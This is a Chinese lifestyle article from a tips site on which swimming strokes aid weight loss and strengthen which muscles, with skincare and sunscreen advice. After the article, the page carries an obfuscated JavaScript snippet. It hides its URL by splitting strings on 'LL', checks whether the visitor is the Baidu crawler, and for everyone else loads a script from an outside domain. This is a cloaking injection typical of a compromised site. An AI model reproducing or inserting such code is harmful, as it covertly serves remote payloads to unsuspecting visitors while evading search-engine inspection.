当前位置:首页 > 健康 > 运动健身 > 正文

哪种游泳最减肥呢?

2017-04-14 17:30:24  来源:360常识网   热度:
导语:游泳是属于一种非常好的锻炼运动了,而且具有非常强的趣味性,而且还具有非常强的锻炼性,很多的朋友又都会问了,游泳是能够起到减肥的作用

游泳是属于一种非常好的锻炼运动了,而且具有非常强的趣味性,而且还具有非常强的锻炼性,很多的朋友又都会问了,游泳是能够起到减肥的作用的吗,哪种减肥方式是可以起到很好的减肥作用,游泳是可以起到很好的减肥作用,同时所有的游泳姿势瘦的地方也都是不大医院的。

学会好的游泳方法能够帮你加速减肥。可是有很多初学者往往疑惑;:该怎么游泳减肥?没关系,今天小编来教教你,告诉你游泳常见的四大姿势,及他们的功效。

蛙泳——腿部力量。自由泳、仰泳的大腿方式都是上下鞭打,只有蛙泳是蹬夹,前者能够使腿更修长,而后者更多用到大腿股四头肌,因此对加强腿部力量很有效。

蝶泳——胸部力量。蝶泳时,手臂向内划水,类似在做扩胸运动,对胸大肌、背扩肌、腹直肌用力较多,锻炼效果也最好。

自由泳——臂部力量。自由泳时,上臂的肱二头肌、肱三头肌用力较多,可以有效锻炼臂部肌肉,同时对肩部肌肉力量的提高,也具有一定的推动作用。

仰泳——背部力量。仰泳时,背扩肌用力会较多,可以使背部肌肉得到舒展。此外,仰泳时需要提臀滑行,对臀部也是一种锻炼。

(1)游泳前补水 为肌肤打底

游泳池中的水,由于混合了很多化学物质,让肌肤容易缺水。所以,大家在游泳之前,可以给肌肤适量地补充一些“营养”,涂抹一层补水面霜/乳液,轻轻地按摩拍打一下,帮助肌肤的吸收。

(2)防晒有助阻隔紫外线

由于水中的紫外线反射率很高,所以防晒这一步骤就非做不可了。长时间泡在水中,普通的防晒乳液会随着水的摩擦冲洗而脱落,防晒效果会大打折扣。我们在游泳的时候,一定要选择具有防晒功能的防晒乳液,这样才能有效地阻隔紫外线,减少它对肌肤的伤害。

所以大家不一定只用一种的游泳方法,大家可以多用几种游泳的姿势来进行锻炼,这样效果才是会更加的好,同时平常的时候也是要多加的注意一下游泳的注意事项,特别是在下水游泳之前,一定是要做好充分的准备运动,这样才能防止出现抽筋的情况。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}